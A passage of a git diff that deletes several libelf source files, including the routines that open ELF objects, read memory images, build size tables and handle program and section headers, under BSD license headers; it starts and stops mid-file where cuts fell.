-[ELF_T_SYMINFO] = { .fsz32 = sizeof(Elf32_Half)+sizeof(Elf32_Half)+0, .fsz64 = sizeof(Elf64_Half)+sizeof(Elf64_Half)+0 },
-
-[ELF_T_SYM] = { .fsz32 = sizeof(Elf32_Word)+sizeof(Elf32_Addr)+sizeof(Elf32_Word)+1+1+sizeof(Elf32_Half)+0, .fsz64 = sizeof(Elf64_Word)+1+1+sizeof(Elf64_Half)+sizeof(Elf64_Addr)+sizeof(Elf64_Xword)+0 },
-
-[ELF_T_VDEF] = { .fsz32 = 1, .fsz64 = 1 },
-
-[ELF_T_VNEED] = { .fsz32 = 1, .fsz64 = 1 },
-
-[ELF_T_WORD] = { .fsz32 = sizeof(Elf32_Word), .fsz64 = sizeof(Elf64_Word) },
-
-[ELF_T_XWORD] = { .fsz32 = 0, .fsz64 = sizeof(Elf64_Xword) },
-
-
-};
-
-size_t
-_libelf_fsize(Elf_Type t, int ec, unsigned int v, size_t c)
-{
-	size_t sz;
-
-	sz = 0;
-	if (v != EV_CURRENT)
-		LIBELF_SET_ERROR(VERSION, 0);
-	else if ((int) t < ELF_T_FIRST || t > ELF_T_LAST)
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-	else {
-		sz = ec == ELFCLASS64 ? fsize[t].fsz64 : fsize[t].fsz32;
-		if (sz == 0)
-			LIBELF_SET_ERROR(UNIMPL, 0);
-	}
-
-	return (sz*c);
-}
diff --git a/src/libelf/libelf_memory.c b/src/libelf/libelf_memory.c
deleted file mode 100644
index 892e909..0000000
--- a/src/libelf/libelf_memory.c
+++ /dev/null
@@ -1,96 +0,0 @@
-/*-
- * Copyright (c) 2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <ar.h>
-#include <assert.h>
-#include <string.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_memory.c 2368 2011-12-29 06:34:28Z jkoshy $");
-
-/*
- * Create an ELF descriptor for a memory image, optionally reporting
- * parse errors.
- */
-
-Elf *
-_libelf_memory(char *image, size_t sz, int reporterror)
-{
-	Elf *e;
-	int e_class;
-	enum Elf_Error error;
-	unsigned int e_byteorder, e_version;
-
-	assert(image != NULL);
-	assert(sz > 0);
-
-	if ((e = _libelf_allocate_elf()) == NULL)
-		return (NULL);
-
-	e->e_cmd = ELF_C_READ;
-	e->e_rawfile = image;
-	e->e_rawsize = sz;
-
-#undef	LIBELF_IS_ELF
-#define	LIBELF_IS_ELF(P) ((P)[EI_MAG0] == ELFMAG0 && 		\
-	(P)[EI_MAG1] == ELFMAG1 && (P)[EI_MAG2] == ELFMAG2 &&	\
-	(P)[EI_MAG3] == ELFMAG3)
-
-	if (sz > EI_NIDENT && LIBELF_IS_ELF(image)) {
-		e_byteorder = image[EI_DATA];
-		e_class     = image[EI_CLASS];
-		e_version   = image[EI_VERSION];
-
-		error = ELF_E_NONE;
-
-		if (e_version > EV_CURRENT)
-			error = ELF_E_VERSION;
-		else if ((e_byteorder != ELFDATA2LSB && e_byteorder !=
- 		    ELFDATA2MSB) || (e_class != ELFCLASS32 && e_class !=
-		    ELFCLASS64))
-			error = ELF_E_HEADER;
-
-		if (error != ELF_E_NONE) {
-			if (reporterror) {
-				LIBELF_PRIVATE(error) = LIBELF_ERROR(error, 0);
-				(void) _libelf_release_elf(e);
-				return (NULL);
-			}
-		} else {
-			_libelf_init_elf(e, ELF_K_ELF);
-
-			e->e_byteorder = e_byteorder;
-			e->e_class = e_class;
-			e->e_version = e_version;
-		}
-	} else if (sz >= SARMAG &&
-	    strncmp(image, ARMAG, (size_t) SARMAG) == 0)
-		return (_libelf_ar_open(e, reporterror));
-
-	return (e);
-}
diff --git a/src/libelf/libelf_msize.c b/src/libelf/libelf_msize.c
deleted file mode 100644
index 029a9e1..0000000
--- a/src/libelf/libelf_msize.c
+++ /dev/null
@@ -1,196 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS `AS IS' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * $Id: elf_types.m4 321 2009-03-07 16:59:14Z jkoshy $
- */
-
-/*
- * ELF types, defined in the "enum Elf_Type" API.
- *
- * The members of the list form a 2-tuple: (name, C-type-suffix).
- * + name is an Elf_Type symbol without the ELF_T_ prefix.
- * + C-type-suffix is the suffix for Elf32_ and Elf64_ type names.
- */
-
-
-
-/*
- * DEFINE_STRUCT(NAME,MEMBERLIST...)
- *
- * Map a type name to its members.
- *
- * Each member-list element comprises of pairs of (field name, type),
- * in the sequence used in the file representation of NAME.
- *
- * Each member list element comprises a pair containing a field name
- * and a basic type.  Basic types include IDENT, HALF, WORD, LWORD,
- * ADDR{32,64}, OFF{32,64}, SWORD, XWORD, SXWORD.
- *
- * The last element of a member list is the null element: _,_.
- */
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-/*-
- * Copyright (c) 2006,2008-2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS `AS IS' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <libelf.h>
-#include <string.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_msize.m4 2225 2011-11-26 18:55:54Z jkoshy $");
-
-/* WARNING: GENERATED FROM libelf_msize.m4. */
-
-struct msize {
-	size_t	msz32;
-	size_t	msz64;
-};
-
-
-
-static struct msize msize[ELF_T_NUM] = {
-[ELF_T_ADDR] = { .msz32 = sizeof(Elf32_Addr), .msz64 = sizeof(Elf64_Addr) },
-
-[ELF_T_BYTE] = { .msz32 = 1, .msz64 = 1 },
-
-[ELF_T_CAP] = { .msz32 = sizeof(Elf32_Cap), .msz64 = sizeof(Elf64_Cap) },
-
-[ELF_T_DYN] = { .msz32 = sizeof(Elf32_Dyn), .msz64 = sizeof(Elf64_Dyn) },
-
-[ELF_T_EHDR] = { .msz32 = sizeof(Elf32_Ehdr), .msz64 = sizeof(Elf64_Ehdr) },
-
-[ELF_T_GNUHASH] = { .msz32 = 1, .msz64 = 1 },
-
-[ELF_T_HALF] = { .msz32 = sizeof(Elf32_Half), .msz64 = sizeof(Elf64_Half) },
-
-[ELF_T_LWORD] = { .msz32 = sizeof(Elf32_Lword), .msz64 = sizeof(Elf64_Lword) },
-
-[ELF_T_MOVE] = { .msz32 = sizeof(Elf32_Move), .msz64 = sizeof(Elf64_Move) },
-
-[ELF_T_MOVEP] = { .msz32 = 0, .msz64 = 0 },
-
-[ELF_T_NOTE] = { .msz32 = 1, .msz64 = 1 },
-
-[ELF_T_OFF] = { .msz32 = sizeof(Elf32_Off), .msz64 = sizeof(Elf64_Off) },
-
-[ELF_T_PHDR] = { .msz32 = sizeof(Elf32_Phdr), .msz64 = sizeof(Elf64_Phdr) },
-
-[ELF_T_REL] = { .msz32 = sizeof(Elf32_Rel), .msz64 = sizeof(Elf64_Rel) },
-
-[ELF_T_RELA] = { .msz32 = sizeof(Elf32_Rela), .msz64 = sizeof(Elf64_Rela) },
-
-[ELF_T_SHDR] = { .msz32 = sizeof(Elf32_Shdr), .msz64 = sizeof(Elf64_Shdr) },
-
-[ELF_T_SWORD] = { .msz32 = sizeof(Elf32_Sword), .msz64 = sizeof(Elf64_Sword) },
-
-[ELF_T_SXWORD] = { .msz32 = 0, .msz64 = sizeof(Elf64_Sxword) },
-
-[ELF_T_SYMINFO] = { .msz32 = sizeof(Elf32_Syminfo), .msz64 = sizeof(Elf64_Syminfo) },
-
-[ELF_T_SYM] = { .msz32 = sizeof(Elf32_Sym), .msz64 = sizeof(Elf64_Sym) },
-
-[ELF_T_VDEF] = { .msz32 = 1, .msz64 = 1 },
-
-[ELF_T_VNEED] = { .msz32 = 1, .msz64 = 1 },
-
-[ELF_T_WORD] = { .msz32 = sizeof(Elf32_Word), .msz64 = sizeof(Elf64_Word) },
-
-[ELF_T_XWORD] = { .msz32 = 0, .msz64 = sizeof(Elf64_Xword) },
-
-
-};
-
-size_t
-_libelf_msize(Elf_Type t, int elfclass, unsigned int version)
-{
-	size_t sz;
-
-	assert(elfclass == ELFCLASS32 || elfclass == ELFCLASS64);
-	assert((signed) t >= ELF_T_FIRST && t <= ELF_T_LAST);
-
-	if (version != EV_CURRENT) {
-		LIBELF_SET_ERROR(VERSION, 0);
-		return (0);
-	}
-
-	sz = (elfclass == ELFCLASS32) ? msize[t].msz32 : msize[t].msz64;
-
-	return (sz);
-}
diff --git a/src/libelf/libelf_open.c b/src/libelf/libelf_open.c
deleted file mode 100644
index 0c60aa0..0000000
--- a/src/libelf/libelf_open.c
+++ /dev/null
@@ -1,240 +0,0 @@
-/*-
- * Copyright (c) 2006,2008-2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-
-#include <assert.h>
-#include <errno.h>
-#include <libelf.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#include "_libelf.h"
-
-#if	ELFTC_HAVE_MMAP
-#include <sys/mman.h>
-#endif
-
-ELFTC_VCSID("$Id: libelf_open.c 2364 2011-12-28 17:55:25Z jkoshy $");
-
-#define	_LIBELF_INITSIZE	(64*1024)
-
-/*
- * Read from a device file, pipe or socket.
- */
-static void *
-_libelf_read_special_file(int fd, size_t *fsz)
-{
-	ssize_t readsz;
-	size_t bufsz, datasz;
-	unsigned char *buf, *t;
-
-	datasz = 0;
-	readsz = 0;
-	bufsz = _LIBELF_INITSIZE;
-	if ((buf = malloc(bufsz)) == NULL)
-		goto resourceerror;
-
-	/*
-	 * Read data from the file descriptor till we reach EOF, or
-	 * till an error is encountered.
-	 */
-	do {
-		/* Check if we need to expand the data buffer. */
-		if (datasz == bufsz) {
-			bufsz *= 2;
-			if ((t = realloc(buf, bufsz)) == NULL)
-				goto resourceerror;
-			buf = t;
-		}
-
-		do {
-			readsz = bufsz - datasz;
-			t = buf + datasz;
-			if ((readsz = read(fd, t, readsz)) <= 0)
-				break;
-			datasz += readsz;
-		} while (datasz < bufsz);
-
-	} while (readsz > 0);
-
-	if (readsz < 0) {
-		LIBELF_SET_ERROR(IO, errno);
-		goto error;
-	}
-
-	assert(readsz == 0);
-
-	/*
-	 * Free up extra buffer space.
-	 */
-	if (bufsz > datasz) {
-		if (datasz > 0) {
-			if ((t = realloc(buf, datasz)) == NULL)
-				goto resourceerror;
-			buf = t;
-		} else {	/* Zero bytes read. */
-			LIBELF_SET_ERROR(ARGUMENT, 0);
-			free(buf);
-			buf = NULL;
-		}
-	}
-
-	*fsz = datasz;
-	return (buf);
-
-resourceerror:
-	LIBELF_SET_ERROR(RESOURCE, 0);
-error:
-	if (buf != NULL)
-		free(buf);
-	return (NULL);
-}
-
-/*
- * Read the contents of the file referenced by the file descriptor
- * 'fd'.
- */
-
-Elf *
-_libelf_open_object(int fd, Elf_Cmd c, int reporterror)
-{
-	Elf *e;
-	void *m;
-	mode_t mode;
-	size_t fsize;
-	struct stat sb;
-	unsigned int flags;
-
-	assert(c == ELF_C_READ || c == ELF_C_RDWR || c == ELF_C_WRITE);
-
-	if (fstat(fd, &sb) < 0) {
-		LIBELF_SET_ERROR(IO, errno);
-		return (NULL);
-	}
-
-	mode = sb.st_mode;
-	fsize = (size_t) sb.st_size;
-
-	/*
-	 * Reject unsupported file types.
-	 */
-	if (!S_ISREG(mode) && !S_ISCHR(mode) && !S_ISFIFO(mode) &&
-	    !S_ISSOCK(mode)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	/*
-	 * For ELF_C_WRITE mode, allocate and return a descriptor.
-	 */
-	if (c == ELF_C_WRITE) {
-		if ((e = _libelf_allocate_elf()) != NULL) {
-			_libelf_init_elf(e, ELF_K_ELF);
-			e->e_byteorder = LIBELF_PRIVATE(byteorder);
-			e->e_fd = fd;
-			e->e_cmd = c;
-			if (!S_ISREG(mode))
-				e->e_flags |= LIBELF_F_SPECIAL_FILE;
-		}
-
-		return (e);
-	}
-
-
-	/*
-	 * ELF_C_READ and ELF_C_RDWR mode.
-	 */
-	m = NULL;
-	flags = 0;
-	if (S_ISREG(mode)) {
-#if	ELFTC_HAVE_MMAP
-		/*
-		 * Always map regular files in with 'PROT_READ'
-		 * permissions.
-		 *
-		 * For objects opened in ELF_C_RDWR mode, when
-		 * elf_update(3) is called, we remove this mapping,
-		 * write file data out using write(2), and map the new
-		 * contents back.
-		 */
-		m = mmap(NULL, fsize, PROT_READ, MAP_PRIVATE, fd, (off_t) 0);
-
-		if (m == MAP_FAILED)
-			m = NULL;
-		else
-			flags = LIBELF_F_RAWFILE_MMAP;
-#endif
-
-		/*
-		 * Fallback to a read() if the call to mmap() failed,
-		 * or if mmap() is not available.
-		 */
-		if (m == NULL) {
-			if ((m = malloc(fsize)) == NULL) {
-				LIBELF_SET_ERROR(RESOURCE, 0);
-				return (NULL);
-			}
-
-			if (read(fd, m, fsize) != (ssize_t) fsize) {
-				LIBELF_SET_ERROR(IO, errno);
-				free(m);
-				return (NULL);
-			}
-
-			flags = LIBELF_F_RAWFILE_MALLOC;
-		}
-	} else if ((m = _libelf_read_special_file(fd, &fsize)) != NULL)
-		flags = LIBELF_F_RAWFILE_MALLOC | LIBELF_F_SPECIAL_FILE;
-	else
-		return (NULL);
-
-	if ((e = _libelf_memory(m, fsize, reporterror)) == NULL) {
-		assert((flags & LIBELF_F_RAWFILE_MALLOC) ||
-		    (flags & LIBELF_F_RAWFILE_MMAP));
-		if (flags & LIBELF_F_RAWFILE_MALLOC)
-			free(m);
-#if	ELFTC_HAVE_MMAP
-		else
-			(void) munmap(m, fsize);
-#endif
-		return (NULL);
-	}
-
-	/* ar(1) archives aren't supported in RDWR mode. */
-	if (c == ELF_C_RDWR && e->e_kind == ELF_K_AR) {
-		(void) elf_end(e);
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	e->e_flags |= flags;
-	e->e_fd = fd;
-	e->e_cmd = c;
-
-	return (e);
-}
diff --git a/src/libelf/libelf_phdr.c b/src/libelf/libelf_phdr.c
deleted file mode 100644
index 8495e42..0000000
--- a/src/libelf/libelf_phdr.c
+++ /dev/null
@@ -1,156 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <gelf.h>
-#include <libelf.h>
-#include <stdlib.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_phdr.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-void *
-_libelf_getphdr(Elf *e, int ec)
-{
-	size_t phnum, phentsize;
-	size_t fsz, msz;
-	uint64_t phoff;
-	Elf32_Ehdr *eh32;
-	Elf64_Ehdr *eh64;
-	void *ehdr, *phdr;
-	int (*xlator)(char *_d, size_t _dsz, char *_s, size_t _c, int _swap);
-
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-
-	if (e == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if ((phdr = (ec == ELFCLASS32 ?
-		 (void *) e->e_u.e_elf.e_phdr.e_phdr32 :
-		 (void *) e->e_u.e_elf.e_phdr.e_phdr64)) != NULL)
-		return (phdr);
-
-	/*
-	 * Check the PHDR related fields in the EHDR for sanity.
-	 */
-
-	if ((ehdr = _libelf_ehdr(e, ec, 0)) == NULL)
-		return (NULL);
-
-	phnum = e->e_u.e_elf.e_nphdr;
-
-	if (ec == ELFCLASS32) {
-		eh32      = (Elf32_Ehdr *) ehdr;
-		phentsize = eh32->e_phentsize;
-		phoff     = (uint64_t) eh32->e_phoff;
-	} else {
-		eh64      = (Elf64_Ehdr *) ehdr;
-		phentsize = eh64->e_phentsize;
-		phoff     = (uint64_t) eh64->e_phoff;
-	}
-
-	fsz = gelf_fsize(e, ELF_T_PHDR, phnum, e->e_version);
-
-	assert(fsz > 0);
-
-	if ((uint64_t) e->e_rawsize < (phoff + fsz)) {
-		LIBELF_SET_ERROR(HEADER, 0);
-		return (NULL);
-	}
-
-	msz = _libelf_msize(ELF_T_PHDR, ec, EV_CURRENT);
-
-	assert(msz > 0);
-
-	if ((phdr = calloc(phnum, msz)) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32)
-		e->e_u.e_elf.e_phdr.e_phdr32 = phdr;
-	else
-		e->e_u.e_elf.e_phdr.e_phdr64 = phdr;
-
-
-	xlator = _libelf_get_translator(ELF_T_PHDR, ELF_TOMEMORY, ec);
-	(*xlator)(phdr, phnum * msz, e->e_rawfile + phoff, phnum,
-	    e->e_byteorder != LIBELF_PRIVATE(byteorder));
-
-	return (phdr);
-}
-
-void *
-_libelf_newphdr(Elf *e, int ec, size_t count)
-{
-	void *ehdr, *newphdr, *oldphdr;
-	size_t msz;
-
-	if (e == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if ((ehdr = _libelf_ehdr(e, ec, 0)) == NULL) {
-		LIBELF_SET_ERROR(SEQUENCE, 0);
-		return (NULL);
-	}
-
-	assert(e->e_class == ec);
-	assert(ec == ELFCLASS32 || ec == ELFCLASS64);
-	assert(e->e_version == EV_CURRENT);
-
-	msz = _libelf_msize(ELF_T_PHDR, ec, e->e_version);
-
-	assert(msz > 0);
-
-	newphdr = NULL;
-	if (count > 0 && (newphdr = calloc(count, msz)) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASS32) {
-		if ((oldphdr = (void *) e->e_u.e_elf.e_phdr.e_phdr32) != NULL)
-			free(oldphdr);
-		e->e_u.e_elf.e_phdr.e_phdr32 = (Elf32_Phdr *) newphdr;
-	} else {
-		if ((oldphdr = (void *) e->e_u.e_elf.e_phdr.e_phdr64) != NULL)
-			free(oldphdr);
-		e->e_u.e_elf.e_phdr.e_phdr64 = (Elf64_Phdr *) newphdr;
-	}
-
-	e->e_u.e_elf.e_nphdr = count;
-
-	elf_flagphdr(e, ELF_C_SET, ELF_F_DIRTY);
-
-	return (newphdr);
-}
diff --git a/src/libelf/libelf_shdr.c b/src/libelf/libelf_shdr.c
deleted file mode 100644
index fc48423..0000000
--- a/src/libelf/libelf_shdr.c
+++ /dev/null
@@ -1,56 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <gelf.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_shdr.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-void *
-_libelf_getshdr(Elf_Scn *s, int ec)
-{
-	Elf *e;
-
-	if (s == NULL || (e = s->s_elf) == NULL ||
-	    e->e_kind != ELF_K_ELF) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (ec == ELFCLASSNONE)
-		ec = e->e_class;
-
-	if (ec != e->e_class) {
-		LIBELF_SET_ERROR(CLASS, 0);
-		return (NULL);
-	}
-
-	return ((void *) &s->s_shdr);
-}
diff --git a/src/libelf/libelf_xlate.c b/src/libelf/libelf_xlate.c
deleted file mode 100644
index eda6df8..0000000
--- a/src/libelf/libelf_xlate.c
+++ /dev/null
@@ -1,150 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_xlate.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-/*
- * Translate to/from the file representation of ELF objects.
- *
- * Translation could potentially involve the following
- * transformations:
- *
- * - an endianness conversion,
- * - a change of layout, as the file representation of ELF objects
- *   can differ from their in-memory representation.
- * - a change in representation due to a layout version change.
- */
-
-Elf_Data *
-_libelf_xlate(Elf_Data *dst, const Elf_Data *src, unsigned int encoding,
-    int elfclass, int direction)
-{
-	int byteswap;
